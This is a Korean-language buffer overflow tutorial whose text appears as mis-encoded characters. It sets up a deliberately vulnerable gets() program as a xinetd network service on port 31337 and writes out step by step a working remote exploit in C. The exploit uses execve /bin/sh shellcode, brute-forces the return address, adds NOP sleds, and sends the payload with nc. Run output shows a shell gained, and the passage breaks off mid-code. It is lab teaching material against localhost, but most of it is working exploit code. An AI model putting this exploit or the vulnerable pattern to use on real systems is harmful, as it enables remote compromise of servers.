À̹ø WGD¿¡¼± µ¥¸ó ÇüÅ·ΠÀÛµ¿ÇÏ´Â ³×Æ®¿öÅ© ÇÁ·Î±×·¥¿¡ ´ëÇÑ ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°Ý ±â¹ýµé¿¡ ´ëÇØ ÇнÀÇØ º¸µµ·Ï ÇÏ°Ú´Ù. Áö±Ý±îÁö ¿ì¸®´Â ·ÎÄà ¿µ¿ª¿¡ ¼³Ä¡µÈ ÇÁ·Î±×·¥. Áï, ¿ì¸®°¡ ½©À» °¡Áö°í ÀÖ´Â »óÅ¿¡¼­ ´õ¿í ³ôÀº ±ÇÇÑ(º¸Åë root) À» ¾ò¾î³»±â À§Çؼ­ Ãë¾à ÇÁ·Î±×·¥À» °ø°ÝÇØ¿Ô¾ú´Ù. ÇÏÁö¸¸, À̹øÀÇ ¼³Á¤Àº ¿ì¸®°¡ Target ¼­¹ö¿¡ ¾Æ¹«·± ½© ±ÇÇѵµ °¡Áö°íÀÖÁö ¾Ê°í, Ãë¾à ÇÁ·Î±×·¥ÀÌ Xinetd ȤÀº µ¶¸³ÀûÀÎ ³×Æ®¿öÅ© ÇÁ·Î±×·¥ ÇüÅ·ΠTarget ¼­¹öÀÇ Æ¯Á¤ Port·Î ¿¬°áµÈ »óÅÂ, Áï, µ¥¸óÀ¸·Î ÀÛµ¿ÇÏ°íÀÖ´Ù°í °¡Á¤ÇÑ´Ù. ÀÌ¿Í°°Àº Çü½ÄÀ¸·Î ±¸¼ºµÈ ÇÁ·Î±×·¥ÀÇ ¿¹´Â ¿ì¸® ÁÖÀ§¿¡¼­ ½±°Ô ãÀ» ¼ö ÀÖ´Ù. Telnet, SSH, Apache, Sendmail, POP µîµî.. ÀÌ ÇÁ·Î±×·¥µéÀÇ Æ¯Â¡Àº °¢°¢ ÀÚ½ÅÀÇ °íÀ¯ÇÑ Port ¹øÈ£¿¡ ÇÁ·Î±×·¥ÀÇ ÀÔÃâ·ÂÀÌ ¿¬°áµÇ¾î ±× Port¿¡¼­ µé¾î¿À´Â ÀÔ·ÂÀ» ó¸®ÇÏ°í, ±×¿¡ ´ëÇÑ °á°ú¸¦ ¿ª½Ã °°Àº Port·Î Ãâ·ÂÇϸç, ÀÌ·¯ÇÑ Ã³¸®¸¦ ´Ù¼öÀÇ Å¬¶óÀ̾ðÆ®¿¡°Ô Á¦°ø ÇÏ´Â ¼­¹ö ÇüÅÂÀÇ ÇÁ·Î±×·¥À̶ó´Â Á¡ÀÌ´Ù. ±×·³ ÀÌ·¯ÇÑ ÇüÅÂÀÇ ÇÁ·Î±×·¥Àº ¾î¶»°Ô ±¸Çö °¡´ÉÇÒ±î? Å©°Ô µÎ °¡Áö ¹æ¹ýÀ¸·Î ³ª´©¾îº¼ ¼ö ÀÖÀ¸¸ç, ¾ÕÀ¸·Î ÀÌ µÎ °¡Áö °æ¿ì¿¡´ëÇÑ °ø°Ý Å×½ºÆ®¸¦ ÁøÇàÇϵµ·Ï ÇÏ°Ú´Ù. ¡Ý ³×Æ®¿öÅ© ÇÁ·Î±×·¥À» ±¸ÇöÇÏ´Â µÎ °¡Áö ¹æ¹ý 1. Ç¥ÁØ ÀÔÃâ·Â¿¡ ÀÛµ¿ÇÏ´Â ÀϹÝÀûÀÎ ÇÁ·Î±×·¥À» ±¸ÇöÇÑ ÈÄ, Inetd ȤÀº Xinetd µ¥¸óÀ» ÀÌ¿ëÇÏ¿© ³×Æ®¿öÅ©·Î ¿¬°á ½ÃÅ´. 2. µ¶¸³ÀûÀÎ ³×Æ®¿öÅ© ÇÁ·Î±×·¥À¸·Î ±¸ÇöÇÏ¿© ÀÛµ¿½ÃÅ´. À̹ø ¹®¼­¿¡¼­´Â ÀÌ µÎ °¡Áö °æ¿ì Áß Ã¹ ¹ø°¿¡ ´ëÇÑ °ø°Ýµé¸¸ ´Ù·ç¾î º¸µµ·Ï ÇÒ ¿¹Á¤ÀÌ´Ù. ±×·³ ¸ÕÀú 1¹ø¿¡ ÇØ´çÇÏ´Â Ãë¾à ÇÁ·Î±×·¥À» Çѹø ±¸ÇöÇغ¸ÀÚ. ====================================================== int main() { char buffer[100]; gets(buffer); printf("´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : %s\n", buffer); } ====================================================== ÀÌ ÇÁ·Î±×·¥Àº ¸¶Ä¡ ·ÎÄà ȯ°æÀ» À§ÇÑ °ÍÀ¸·Î º¸ÀδÙ. ÇÏÁö¸¸, ´ÙÀ½°ú °°Àº °úÁ¤À» ÅëÇØ Xinet µ¥¸ó¿¡ µî·ÏÇϸé, Xinet µ¥¸ó¿¡ ÀÇÇØ Ç¥ÁØ ÀÔ·Â ÁÖü´Â Xinetd ¼³Á¤¿¡ÀÇÇØ ÁöÁ¤µÈ Port°¡ µÇ¸ç, Ç¥ÁØ Ãâ·ÂÀÇ ÁÖü ¿ª½Ã ±× Port°¡ µÈ´Ù. µû¶ó¼­ °á±¹ À§ ÇÁ·Î±×·¥ÀÌ ³×Æ®¿öÅ© ÇÁ·Î±×·¥À¸·Î ÀÛµ¿ÇÏ°Ô µÉ °ÍÀ̸ç, ÀÌ·¯ÇÑ °úÁ¤Àº ³»ºÎÀûÀ¸·Î µð½ºÅ©¸³ÅÍÀÇ ÀÔÃâ·ÂÀ» º¯°æÇØÁÖ´Â dup() °è¿­ÀÇ ÇÔ¼ö¿¡ÀÇÇØ ÀÌ·ç¾îÁø´Ù. ¡Ý ÇÁ·Î±×·¥À» Xinetd¿¡ µî·ÏÇÏ´Â °úÁ¤. 1. À§ Äڵ带 ÄÄÆÄÀÏÇÑ´Ù. =========================================================== [root@ftz BOF]# gcc -o vuln vuln.c /tmp/ccmC8XAk.o(.text+0x18): In function `main': : the `gets' function is dangerous and should not be used. [root@ftz BOF]# =========================================================== Ä£ÀýÇÏ°Ôµµ gcc°¡ "gets ÇÔ¼ö´Â À§ÇèÇØ!" Çϸç ÁÖÀǸ¦ ÁØ´Ù. ÇÏÁö¸¸ ¿ì¸®´Â gets ÇÔ¼ö¸¦ ¸Å¿ì ÁÁ¾ÆÇÔÀ¸·Î À§ °æ°í¿¡ ½Å°æ¾µ ÇÊ¿ä°¡ ¾ø´Ù. 2. /etc/xinetd.d µð·ºÅ丮·Î À̵¿ÇÑ ÈÄ, ´ÙÀ½°ú °°Àº ÆÄÀÏÀ» ÀÛ¼ºÇÑ´Ù. Âü°í·Î user ºÎºÐÀº Ãë¾à ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ±ÇÇÑÀ» Á¤ÀÇÇϴµ¥, root·Î ÇÒ °æ¿ì ³»°¡ ¾Æ´Ñ ´Ù¸¥ »ç¶÷¿¡°Ô °ø°Ý´çÇÒ °æ¿ì Ä¡¸íÀûÀÓÀ¸·Î ÀÏ¹Ý °èÁ¤À¸·Î ÁöÁ¤ÇØÁØ´Ù. =================================================== [root@ftz xinetd.d]# cat > vuln service vuln { flags = REUSE socket_type = stream wait = no user = guest server = /root/BOF/vuln disable = no } [root@ftz xinetd.d]# =================================================== 3. À§¿¡¼­ service ¿À¸¥ÂÊÀÇ ´Ü¾î´Â Port NameÀ» ÀǹÌÇÑ´Ù. ÇÏÁö¸¸, vulnÀ̶ó´Â À̸§ÀÇ Port´Â Á¤ÀǵǾîÀÖÁö ¾ÊÀ½À¸·Î À̸¦ /etc/services ÆÄÀÏ¿¡ Ãß°¡ÇØ ÁØ´Ù. [root@ftz xinetd.d]# echo "vuln 31337/tcp" >> /etc/services 4. ÀÌÁ¦ xinetd¸¦ À籸µ¿½ÃÅ°¸é Áö±Ý Ãß°¡ÇÑ ¼³Á¤ÀÌ Àû¿ëµÇ¾î 31337¹øÀÇ TCP Æ÷Æ®°¡ ¿Àǵǰí, ±×°÷¿¡ Á¢¼ÓÇÏ¸é ¾Õ¼­ ÀÛ¼ºÇÑ vuln ÇÁ·Î±×·¥À» ¸¸³¯ ¼ö ÀְԵȴÙ. ======================================================================= [root@ftz BOF]# /etc/rc.d/init.d/xinetd restart xinetd ¸¦ Á¤ÁöÇÔ: [ È®ÀÎ ] xinetd (À»)¸¦ ½ÃÀÛÇÕ´Ï´Ù: [ È®ÀÎ ] [root@ftz BOF]# ======================================================================= 5. Á¢¼Ó Å×½ºÆ® ================================================= [root@ftz BOF]# telnet localhost 31337 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. mirable ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : mirable Connection closed by foreign host. [root@ftz BOF]# ================================================= ÀÚ, ±×·³ ÀÌÁ¦ºÎÅÍ ÀÌ Ãë¾à ÇÁ·Î±×·¥¿¡ ´ëÇÑ ´ÙÀ½°ú °°Àº 7°¡Áö °ø°Ý Å×½ºÆ®¸¦ ½ÃµµÇØ º¸°Ú´Ù. 1. ¹«ÀÛÀ§·Î ½©ÄÚµåÀÇ À§Ä¡¸¦ ã¾Æ³»´Â °ø°Ý 1 (Á¤È®ÇÏ°Ô ½©ÄÚµå ã±â) °ø°Ý È¿À²¼º : ¡Ú¡Ú¡Ù¡Ù¡Ù 2. ¹«ÀÛÀ§·Î ½©ÄÚµåÀÇ À§Ä¡¸¦ ã¾Æ³»´Â °ø°Ý 2 (NOPÀ» ÀÌ¿ëÇϸé ÆíÇÏ´Ù) °ø°Ý È¿À²¼º : ¡Ú¡Ú¡Ú¡Ù¡Ù 3. ¹«ÀÛÀ§·Î ½©ÄÚµåÀÇ À§Ä¡¸¦ ã¾Æ³»´Â °ø°Ý 3 (´õ¿í ¸¹Àº NOPÀ» ³Ö¾îº¼±î?) °ø°Ý È¿À²¼º : ¡Ú¡Ú¡Ú¡Ú¡Ù 4. ¹öÆÛÀÇ Å©±â°¡ ÀÛÀ» ¶§ÀÇ ¸®¸ðÆ® °ø°Ý °ø°Ý È¿À²¼º : ¡Ú¡Ú¡Ú¡Ú¡Ù 5. ¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ Return to Library¸¦ ÀÌ¿ëÇÑ °ø°Ý °ø°Ý È¿À²¼º : ¡Ú¡Ú¡Ù¡Ù¡Ù 6. ´Ü Çѹø¿¡ RTLÀ» ÀÌ¿ëÇÑ °ø°Ý ¼º°ø½ÃÅ°±â °ø°Ý È¿À²¼º : ¡Ú¡Ú¡Ú¡Ù¡Ù 7. ´Ü Çѹø¿¡ RTLÀ» ÀÌ¿ëÇÑ °ø°Ý ¼º°ø½ÃÅ°±â 2 °ø°Ý È¿À²¼º : ¡Ú¡Ú¡Ú¡Ú¡Ú ±×·³ ¸ÕÁ¦ 1¹ø¿¡ ÇØ´çÇÏ´Â °ø°ÝÀ» Çغ¸ÀÚ. °ø°Ý ½Ã³ª¸®¿À´Â ´ÙÀ½°ú °°´Ù. ¸ÕÀú, °ú¿¬ ¸î ¹ÙÀÌÆ®¸¦ ÀÔ·ÂÇØ¾ß segfault°¡ ¹ß»ýÇÏ´ÂÁö¸¦ ÆľÇÇÑ´Ù. ±× ´ÙÀ½¿£ buffer º¯¼ö¿¡ ÁÖÀÔÇÒ ½©Äڵ带 »ý¼ºÇÑ´Ù. ÀÌÁ¦ ½ÇÁ¦ ÇØ´ç Port¿¡ Á¢¼ÓÇÏ¿© ½©Äڵ带 ÀÔ·ÂÇÏ°í, return address°¡ ÀúÀåµÇ¾îÀÖ´Â ºÎºÐÀ» ½ºÅÃÀÇ ¹Ù´Ú ºÎºÐÀÎ 0xc000000 ¿¡¼­ºÎÅÍ 4¹ÙÀÌÆ®¾¿ °¨¼ÒÇسª°£´Ù. °ø°ÝÀÌ ¼º°øÇÒ ¶§±îÁö °è¼ÓÇؼ­ ÀÌ °úÁ¤À» ¹Ýº¹ÇÏ°í, ¸¸¾à °ø°Ý¿¡ ¼º°øÇÑ´Ù¸é ¹«Â÷º° ´ëÀÔ °úÁ¤Àº Á¾·áµÇ°í TAREGET ¼­¹öÀÇ ½©ÀÌ Å͹̳ο¡ ³ªÅ¸³¯ °ÍÀÌ´Ù. ÀÏ´Ü, ¸î ¹ÙÀÌÆ®¸¦ ÀÔ·ÂÇßÀ» ¶§ segfault°¡ ¹ß»ýÇÏ´ÂÁöºÎÅÍ È®ÀÎÇغ¸ÀÚ. ============================================================================= [root@ftz BOF]# perl -e 'printf "A"x100; printf "\n"' | nc localhost 31337 ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [root@ftz BOF]# [root@ftz BOF]# perl -e 'printf "A"x150; printf "\n"' | nc localhost 31337 [root@ftzk BOF]# ============================================================================= 150¹ÙÀÌÆ®¸¦ ÀÔ·ÂÇÏ´Ï, ¾Æ¹«·± ÀÀ´äÀÌ ¾øÀÌ ¿¬°áÀÌ ²÷°å´Ù. ÀÌó·³ local ȯ°æ¿¡¼­ segfault°¡ ³ª´Â °Í°ú´Â ´Þ¸® ¸®¸ðÆ®¿¡¼± ¾Æ¹«·± ¹ÝÀÀ ¾øÀÌ ¹Ù·Î ¿¬°áÀÌ ²÷°Ü¹ö¸®´Â °ÍÀÌ Æ¯Â¡ÀÌ´Ù. 100¿¡¼± segfault°¡ ³ªÁö ¾Ê°í, 150¿¡¼± ³µÀ¸´Ï ¹öÆÛÀÇ Å©±â°¡ 100°ú 150 »çÀ̶ó´Â °ÍÀ» ÃßÃøÇÒ ¼ö ÀÖ´Ù. ============================================================================= [root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337 ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [root@ftz BOF]# perl -e 'printf "A"x130; printf "\n"' | nc localhost 31337 [root@ftz BOF]# ============================================================================= Á¡Á¡ Á¤È®ÇÑ ¹öÆÛÀÇ ¹üÀ§°¡ ¸ð½ÀÀ» µå·¯³»°íÀÖ´Ù. ============================================================================= [root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337 ´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [root@ftz BOF]# perl -e 'printf "A"x124; printf "\n"' | nc localhost 31337 [root@ftz BOF]# ============================================================================= Á¤È®È÷ 124¹ÙÀÌÆ®¿¡¼­ ¿À¹öÇ÷ο찡 ÀϾ´Ù. SFP°¡ º¯°æµÇ¾úÀ» ¶§ ¿ª½Ã segfault°¡ ³­´Ù´Â »ç½ÇÀ» °¨¾ÈÇϸé, 121~124 ¿µ¿ªÀº SFP ¿µ¿ªÀ̸ç, 125~128ÀÌ ¹Ù·Î RET ¿µ¿ª À̶ó°í ÃßÃøÇس¾ ¼ö ÀÖ´Ù. ¶ÇÇÑ, ¹öÆÛÀÇ Å©±â°¡ 120¹ÙÀÌÆ®·Î ¿¹ÃøµÇ¾úÁö¸¸, DUMMY °ªÀÌ ÀÖÀ» ¼ö ÀÖÀ½À¸·Î ½ÇÁ¦·Î´Â 120¹ÙÀÌÆ® ÀÌÇÏ°¡ µÉ °¡´É¼ºµµ ÀÖ´Ù. (½ÇÁ¦·Î´Â 100¹ÙÀÌÆ®ÀÌ´Ù.) ÇÏÁö¸¸, ¿ì¸®¿¡°Ô Áß¿äÇÑ ºÎºÐÀº RET ¿µ¿ªÀÓÀ¸·Î DUMMY °ªÀÌ ¾î¶² ´Ù¸¥ Áß¿äÇÑ ¿µÇâÀ» ¹ÌÄ¡Áö´Â ¾Ê´Â´Ù. ±×·³ ÀÌÁ¦ °ø°Ý STRINGÀÇ ¸ð½ÀÀ» ±¸¼ºÇغ¸ÀÚ. ¡Ø Ãë¾à ÇÁ·Î±×·¥ÀÇ ½ºÅà [~~~~~~~~~~ÃÑ 120 ¹ÙÀÌÆ®ÀÇ ¹öÆÛ °ø°£~~~~~~~~~~~~~][SFP][RET][~~~~~~~~~~~~~~] ¡Ø °ø°Ý ½ºÆ®¸µ [~~~~½© ÄÚµå~~~~][~~~~~~~~~¾²·¹±â °ªµé~~~~~~~~~~~][SFP][RET] ¡è ¦¢ ¦¦¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡¦¡-¦¡¦¡¦¡¦¥ RETÀÌ ½© Äڵ带 Á¤È®È÷ °¡¸®Å°µµ·Ï BRUTE FORCE ±×¸®°í À§ ³»¿ë¿¡ µû¶ó ExploitÀ» ±¸ÇöÇÑ´Ù. ¿Ï¼ºµÈ ExploitÀÌ ¾Æ´Ñ, ±¸ÇöÇØ ³ª°¡´Â °úÁ¤À» ¼øÂ÷ÀûÀ¸·Î º¸À̵µ·Ï ÇÏ°Ú´Ù. ¡Ø BRUTE FORCE Å×½ºÆ® ============================ int main() { int *ret; ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); ret--; sleep(1); } } ============================ ¡Ø ½ÇÇà °á°ú ============================ [root@ftz BOF]# ./a 0xc0000000 0xbffffffc 0xbffffff8 0xbffffff4 0xbffffff0 0xbfffffec 0xbfffffe8 0xbfffffe4 0xbfffffe0 (ctrl+c) [root@ftz BOF]# ============================ À½.. ¿øÇÏ´Â °á°ú´ë·Î Àß ³ª¿À´Â±º.. ÀÌ·± ½ÄÀ¸·Î °è¼Ó ¸ðµç ½ºÅà ¿µ¿ªÀ» ÆÄÇìÄ¡´Ù º¸¸é °á±¹¿£ ½©ÄÚµåÀÇ À§Ä¡¸¦ ã¾Æ ½©À» ¶ç¿ì°Ô µÉ °ÍÀÌ´Ù. ¡Ø 120¹ÙÀÌÆ® º¯¼ö¿¡ ½©Äڵ带 ³ÖÀÚ ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; memset(spy, 'A', 128); memcpy(spy, shellcode, strlen(shellcode)); ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); ret--; sleep(1); } } ========================================================================== ¡Ø ¸®ÅÏ ¾îµå·¹½º ºÎºÐ(spy+124)¿¡ ret º¯¼öÀÇ °ªÀ» ³ÖÀÚ. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; memset(spy, 'A', 128); memcpy(spy, shellcode, strlen(shellcode)); ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); ret--; } } ========================================================================== ¡Ø ¿Ï¼ºµÈ °ø°Ý STRINGÀÌ ÇØ´ç IP¿Í Port·Î Àü¼ÛµÇµµ·Ï ÇÑ´Ù. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; char command[300]; memset(spy, 'A', 128); memcpy(spy, shellcode, strlen(shellcode)); ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy); system(command); ret--; } } ========================================================================== ÀÌ°ÍÀÌ ¿Ï¼ºµÈ ExploitÀÌ´Ù. À§ ExploitÀº 0xc0000000¿¡¼­ºÎÅÍ 4¹ÙÀÌÆ®¾¿ °¨¼ÒÇØ °¡¸ç ½©ÄÚµåÀÇ À§Ä¡¸¦ ã´Ù°¡, ½©Äڵ尡 ¹ß°ßµÇ¾î ½©ÀÌ ½ÇÇàµÈ´Ù¸é id¶ó´Â ¹®ÀÚ¿­À» Àü¼ÛÇÏ¿© È­¸é¿¡ ÀÌ ¸í·ÉÀÇ °á°ú°¡ Ãâ·ÂµÇµµ·Ï ÇØÁÙ °ÍÀÌ´Ù. ¸¸¾à ƯÁ¤ ¸í·É¾î°¡ ¾Æ´Ñ Á÷Á¢ ½©À» »ç¿ëÇÏ°í ½Í´Ù¸é, À§ ¼Ò½º Áß printf "id\n" ºÎºÐÀ» »èÁ¦ÇÏ¸é µÈ´Ù. ÀÌÁ¦ ExploitÀ» ½ÇÇà½ÃÄÑ ¼º´ÉÀ» È®ÀÎÇغ¸ÀÚ. ================================== [root@ftz BOF]# ./ex 0xc0000000 0xbffffffc 0xbffffff8 0xbffffff4 0xbffffff0 0xbfffffec 0xbfffffe8 ... »ý·« ... 0xbffffab0 0xbffffaac 0xbffffaa8 0xbffffaa4 0xbffffaa0 0xbffffa9c uid=1000(guest) gid=1000(guest) (°ø°Ý ¼º°ø) ================================== À§¿Í °°Àº °á°ú°¡ ³ª¿À±â±îÁö´Â ¾à 1~2ºÐÀÇ ½Ã°£¹Û¿¡ ¼Ò¿äµÇÁö ¾Ê´Â´Ù. ¾à°£ ¹«½ÄÇÑ ¹æ¹ýÀ̱ä ÇÏÁö¸¸ ±×¸® ºñÈ¿À²ÀûÀÎ °ø°Ý ¹æ¹ýÀº ¾Æ´Ï¶ó´Â ¸»ÀÌ´Ù. ±×¸®°í ¾ÕÀ¸·Î °ø°Ý °æÇèÀÌ ¸¹¾ÆÁö¸é ¹öÆÛÀÇ À§Ä¡°¡ ´ë·« 0xbffffb00 ÀÌÇÏÀÇ ÁÖ¼Ò¿¡ À§Ä¡ÇÏ°Ô µÈ´Ù´Â »ç½Çµµ ¾Ë°Ô µÉ °ÍÀÓÀ¸·Î ExploitÀ» ¼öÁ¤ÇÏ¿© °ø°Ý ½Ã°£À» ÈξÀ ´ÜÃà ½Ãų ¼ö ÀÖÀ» °ÍÀÌ´Ù. ¶Ç, À§ °°Àº BRUTE FORCE °ø°Ý Áß ½©Äڵ尡 ½ÇÇàµÇÁö ¾Ê¾Ò À½¿¡µµ ºÒ±¸ÇÏ°í Å͹̳ÎÀÌ ¸ØÃß´Â °æ¿ì°¡ ÀÖ´Ù. ÀÌ´Â ¸®ÅÏ ¾îµå·¹½º°¡ ¿î ³ª»Ú°Ôµµ while(1)°ú °°Àº ¹«ÇÑ ·çÇÁ ±â°è¾î¸¦ ¸¸³ª°Ô µÇ¾úÀ» °æ¿ìÀ̸ç, CTRL+C¸¦ ´­·¯ ¼öµ¿ À¸·Î Å͹̳ÎÀ» ºüÁ®³ª¿Àµµ·Ï ÇØÁà¾ßÇÑ´Ù. ´ÙÀ½¿£ °ø°Ý È®·üÀ» ³ô¿©¼­ ½©À» ȹµæÇÏ´Â ½Ã°£À» ÃÖ´ëÇÑ ³ôÀÌ´Â °ÍÀ» ¸ñÀûÀ¸·Î ExploitÀ» ¼öÁ¤ÇØ ³ª°¡º¸µµ·Ï ÇÏ°Ú´Ù. ¸ÕÀú, ·ÎÄÿ¡¼­ ±×·¨´ø °Í°ú ¸¶Âù°¡Áö·Î NOP Äڵ带 ÃæºÐÈ÷ ³Ö¾î ½©Äڵ带 ´õ¿í ½±°Ô ½ÇÇàÇÒ ¼ö ÀÖµµ·Ï À¯µµÇغ¸ÀÚ. °£´ÜÇÏ°Ô ´ÙÀ½°ú °°ÀÌ ExploitÀ» ¼öÁ¤ÇØ ÁÖ¸é µÉ °ÍÀÌ´Ù. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[128]; char command[300]; memset(spy, '\x90', 128); // NOPÀ¸·Î °¡µæ ä¿î´Ù. memcpy(spy+120-strlen(shellcode), shellcode, strlen(shellcode)); // ¾ÕÂÊÀÇ NOPµéÀ» À¯Áö½ÃŲ ä º¯¼öÀÇ ³¡ ºÎºÐ¿¡ ½©Äڵ尡 µé¾î°£´Ù. ret = (int *)0xc0000000; while(1){ printf("%p\n", ret); memcpy(spy+124, &ret, 4); sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy); system(command); ret = ret - 20; // ³Ë³ËÇÏ°Ô 80¹ÙÀÌÆ®¾¿ À̵¿ÇÑ´Ù. } } ========================================================================== ÀÌÁ¦ ¼³·¹ÀÌ´Â ¸¶À½À¸·Î ¼öÁ¤µÈ ExploitÀ» ½ÇÇàÇغ¸ÀÚ. Âü°í·Î °¡Àå ¸¶Áö¸· ¶óÀÎÀÎ ret - 20ÀÌ "ret ÁÖ¼Ò¸¦ 80¹ÙÀÌÆ® °¨¼Ò"¸¦ ÀǹÌÇÏ´Â ÀÌÀ¯´Â ret Æ÷ÀÎÅÍ º¯¼öÀÇ TYPEÀÌ 4¹ÙÀÌÆ®¿¡ ÇØ´çÇÏ´Â intÀ̱⠶§¹®ÀÌ´Ù. Æ÷ÀÎÅÍÀÇ +, - ¿¬»êÀº ÇØ´ç Æ÷ÀÎÅÍ ÇüÀÇ ¹ÙÀÌÆ® ¼ö ´ÜÀ§¿¡ µû¶ó Àû¿ëµÈ´Ù´Â °ÍÀ» ±â¾ïÇ϶ó. ¶Ç, 80¹ÙÀÌÆ®·Î Á¤ÇÑ ÀÌÀ¯´Â SPY º¯¼öÀÇ ½©ÄÚµå ¾ÕÂÊ¿¡ µé¾î°£ NOP Å©±â°¡ ¾óÇÍ °è»êÇϱ⿡ 80~100¹ÙÀÌÆ® Á¤µµ µÇ±â ¶§¹®ÀÌ´Ù. ¾à 80~100¹ÙÀÌÆ®°¡ NOPÀÓÀ¸·Î ±× NOP Áö´ëÀÇ ´Ü ÇÑ ºÎºÐ¸¸À» ¸®ÅÏ ¾îµå·¹½º°¡ °¡¸®Å°±â¸¸ ÇÏ¸é °á±¹ ½©Äڵ尡 ½ÇÇàµÉ °ÍÀÌ´Ù. ========================================================================== [root@ftz BOF]# ./ex 0xc0000000 0xbfffffb0 0xbfffff60 sh: command substitution: line 1: syntax error near unexpected token `0@(? sh: command substitution: line 1: `ÿÿ? B 0@(?? 0xbfffff10 0xbffffec0 0xbffffe70 0xbffffe20 0xbffffdd0 0xbffffd80 0xbffffd30 0xbffffce0 0xbffffc90 0xbffffc40 0xbffffbf0 0xbffffba0 0xbffffb50 0xbffffb00 0xbffffab0 uid=1000(guest) gid=1000(guest) (°ø°Ý ¼º°ø) ========================================================================== °ø°ÝÀ» ¼º°ø½ÃÅ°±â±îÁö ¾à 5Ãʵµ ä °É¸®Áö ¾Ê¾Ò´Ù. ¿ª½Ã NOPÀÇ À§·ÂÀº ·ÎÄÿ¡¼­³ª ¸®¸ðÆ®¿¡¼­³ª ±× ¿ªÇÒÀ» ÅåÅåÈ÷ ÇÏ´Â °Í °°´Ù. ÀÌÁ¤µµ¸¸ Çصµ ¸®¸ðÆ® °ø°ÝÀÇ ¼º°ú´Â ÃæºÐÈ÷ ¸¸Á·ÇÒ ¸¸ÇÏ´Ù. ÇÏÁö¸¸, Àç¹Ì¸¦ À§ÇØ ¸î °¡Áö ±â¼úÀ» ´õ ÀÍÇôº¸µµ·Ï ÇÏÀÚ. ´ÙÀ½¿¡ ¼³¸íÇÒ ³»¿ëÀº ´õ ¸¹Àº NOPÀ» ÁÖÀÔÇÏ´Â ±â¼úÀÌ´Ù. ¹öÆÛÀÇ ¿ë·®Àº ÀÌ¹Ì 120 ¹ÙÀÌÆ®·Î ÇÑÁ¤µÇ¾îÀÖ´Ù. ±×·±µ¥ ¾î¶»°Ô ´õ ¸¹Àº NOPÀ» ÁÖÀÔÇÒ °ÍÀΰ¡? ¹Ù·Î ´äÀ» ¾ê±âÇÏÀÚ¸é "¸®ÅÏ ¾îµå·¹½ºÀÇ µÞ ºÎºÐ¿¡ NOP°ú ¼¿Äڵ带 ³Ö´Â´Ù" ÀÌ´Ù. [~~~~~¾²·¹±â °ª 120 ¹ÙÀÌÆ®~~~~~~][SFP][RET][~~~~~~~~~~~NOP~~~~~~~~~~][½©ÄÚµå] ¦¢ ¡è ¦¦¦¡¦¥ ÀÌ ºÎºÐÀ» °¡¸®Å°µµ·Ï BRUTE FORCE À§ÀÇ ½Ã³ª¸®¿À¿¡ ¸Â°Ô ¾Õ¼­ ÀÛ¼ºÇÑ ExploitÀ» ¼öÁ¤Çغ¸ÀÚ. ========================================================================== #include char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int *ret; char spy[1000]; // 1000¹ÙÀÌÆ®¸¦ ÇÒ´çÇÑ´Ù. char command[1200]; memset(spy, 